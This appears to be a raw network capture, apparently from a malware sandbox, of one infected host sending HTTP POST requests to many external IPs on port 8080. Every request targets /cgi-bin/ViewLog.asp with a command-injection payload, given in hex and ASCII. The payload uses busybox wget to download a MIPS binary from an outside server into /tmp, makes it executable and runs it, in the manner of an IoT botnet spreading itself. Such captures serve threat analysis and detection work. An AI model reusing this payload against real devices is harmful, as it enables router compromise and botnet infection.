Nov 23, 2023 05:17:36.533279896 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
460	192.168.2.13	59318	94.122.108.250	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:36.533368111 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:37.702259064 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:39.078263998 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:41.926250935 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:47.558284044 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:58.566220999 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:22.374203920 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
461	192.168.2.13	53068	94.122.3.251	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:36.533411026 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:37.702265024 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:39.078268051 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:41.926254988 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:47.558276892 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:58.566234112 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:22.374219894 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
462	192.168.2.13	36842	94.122.125.211	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:36.679573059 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
463	192.168.2.13	44902	31.136.219.172	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:36.857805014 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:37.446320057 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:38.598287106 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:40.902271032 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:45.510281086 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:54.726226091 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:14.182183981 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
464	192.168.2.13	53238	62.29.60.209	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:36.894273043 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
465	192.168.2.13	45224	94.122.93.165	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:36.903486967 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
466	192.168.2.13	36908	31.136.12.85	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:37.042768002 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:37.606268883 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:38.726264000 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
